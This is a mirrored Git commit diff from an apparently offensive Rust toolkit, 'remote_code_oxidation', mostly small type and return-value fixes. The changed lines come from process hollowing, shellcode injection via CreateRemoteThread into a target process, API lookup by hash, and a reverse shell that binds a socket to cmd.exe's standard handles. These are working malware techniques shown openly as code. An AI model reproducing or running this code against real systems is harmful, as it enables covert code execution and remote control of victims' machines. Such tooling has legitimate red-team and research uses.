mirror of
https://github.com/kmanc/remote_code_oxidation
synced 2026-06-08 15:21:46 +00:00
Generated
+1
-5
@@ -54,10 +54,8 @@ dependencies = [
|
||||
"bitflags",
|
||||
"cfg-if",
|
||||
"cfg_aliases",
|
||||
"cfg_aliases",
|
||||
"libc",
|
||||
]
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "ppv-lite86"
|
||||
@@ -77,7 +75,6 @@ dependencies = [
|
||||
[[package]]
|
||||
name = "process_hollowing"
|
||||
version = "1.11.0"
|
||||
version = "1.11.0"
|
||||
dependencies = [
|
||||
"nix",
|
||||
"rco_config",
|
||||
@@ -87,8 +84,7 @@ dependencies = [
|
||||
|
||||
[[package]]
|
||||
name = "process_migration"
|
||||
version = "1.12.0"
|
||||
version = "1.12.0"
|
||||
version = "1.13.0"
|
||||
dependencies = [
|
||||
"nix",
|
||||
"rco_config",
|
||||
|
||||
@@ -1,5 +1,4 @@
|
||||
[workspace]
|
||||
resolver = "2"
|
||||
|
||||
members = [
|
||||
"hash_params",
|
||||
|
||||
@@ -26,7 +26,7 @@ pub fn hollow_and_run(shellcode: &[u8], target_process: &str) {
|
||||
let function = rco_utils::construct_win32_function!(function; [PCSTR, PSTR, *const SECURITY_ATTRIBUTES, *const SECURITY_ATTRIBUTES, bool, PROCESS_CREATION_FLAGS, *const i32, PCSTR, *const STARTUPINFOA, *mut PROCESS_INFORMATION]; [BOOL]);
|
||||
let lp_command_line = PSTR::from_raw(format!("{target_process}\0").as_mut_ptr());
|
||||
unsafe {
|
||||
function(
|
||||
let _ = function(
|
||||
PCSTR::null(),
|
||||
lp_command_line,
|
||||
ptr::null(),
|
||||
@@ -37,7 +37,7 @@ pub fn hollow_and_run(shellcode: &[u8], target_process: &str) {
|
||||
PCSTR::null(),
|
||||
&STARTUPINFOA::default(),
|
||||
&mut process_information,
|
||||
)
|
||||
);
|
||||
};
|
||||
|
||||
// Get location of Ntdll.dll
|
||||
|
||||
@@ -87,7 +87,7 @@ pub fn inject_and_migrate(shellcode: &[u8], target_process: &str) {
|
||||
// Call CreateRemoteThread to create the execution thread in the target PID
|
||||
// WINDOWS --> https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createremotethread
|
||||
// RUST --> https://microsoft.github.io/windows-docs-rs/doc/windows/Win32/System/Threading/fn.CreateRemoteThread.html
|
||||
let start_address_option = unsafe { Some(mem::transmute(base_address)) };
|
||||
let start_address_option = unsafe { Some(mem::transmute::<*mut std::ffi::c_void, unsafe extern "system" fn(*mut std::ffi::c_void) -> u32>(base_address)) };
|
||||
if unsafe {
|
||||
CreateRemoteThread(
|
||||
explorer_handle,
|
||||
|
||||
@@ -75,7 +75,7 @@ pub fn inject_and_migrate(shellcode: &[u8], target_process: &str) {
|
||||
// See line 84
|
||||
let function = rco_utils::find_function_address(kernel32, 0x2a0b247f3bdeef70).unwrap();
|
||||
let function = rco_utils::construct_win32_function!(function; [HANDLE, *const u32, u32, Option<unsafe extern "system" fn(*mut c_void) -> u32>, *const u32, u32, *mut u32]; [()]);
|
||||
let start_address_option = unsafe { Some(mem::transmute(base_address)) };
|
||||
let start_address_option = unsafe { Some(mem::transmute::<*const std::ffi::c_void, unsafe extern "system" fn(*mut std::ffi::c_void) -> u32>(base_address)) };
|
||||
unsafe {
|
||||
function(
|
||||
explorer_handle,
|
||||
|
||||
@@ -58,7 +58,7 @@ pub fn shell(ip: &str, port: u16) {
|
||||
// RUST --> https://microsoft.github.io/windows-docs-rs/doc/windows/Win32/Networking/WinSock/fn.connect.html
|
||||
let connection_result = unsafe {
|
||||
connect(
|
||||
socket,
|
||||
socket.clone().unwrap(),
|
||||
&sockaddr_in as *const SOCKADDR_IN as *const SOCKADDR,
|
||||
mem::size_of::<SOCKADDR_IN>() as _,
|
||||
)
|
||||
@@ -84,7 +84,7 @@ pub fn shell(ip: &str, port: u16) {
|
||||
dwFlags: STARTF_USESTDHANDLES,
|
||||
..Default::default()
|
||||
};
|
||||
let sock_handle = &socket as *const SOCKET as *const HANDLE;
|
||||
let sock_handle = &socket.unwrap() as *const SOCKET as *const HANDLE;
|
||||
startup_info.hStdInput = unsafe { *sock_handle };
|
||||
startup_info.hStdOutput = unsafe { *sock_handle };
|
||||
startup_info.hStdError = unsafe { *sock_handle };
|
||||
|
||||
@@ -91,7 +91,7 @@ pub fn shell(ip: &str, port: u16) {
|
||||
let lp_command_line = PSTR::from_raw(format!("{system_dir}\\cmd.exe\0").as_mut_ptr());
|
||||
let function = rco_utils::construct_win32_function!(function; [PCSTR, PSTR, *const SECURITY_ATTRIBUTES, *const SECURITY_ATTRIBUTES, bool, PROCESS_CREATION_FLAGS, *const i32, PCSTR, *const STARTUPINFOA, *const PROCESS_INFORMATION]; [BOOL]);
|
||||
unsafe {
|
||||
function(
|
||||
let _ = function(
|
||||
PCSTR::null(),
|
||||
lp_command_line,
|
||||
&SECURITY_ATTRIBUTES::default(),
|
||||
@@ -102,6 +102,6 @@ pub fn shell(ip: &str, port: u16) {
|
||||
PCSTR::null(),
|
||||
&startup_info,
|
||||
&PROCESS_INFORMATION::default(),
|
||||
)
|
||||
);
|
||||
};
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user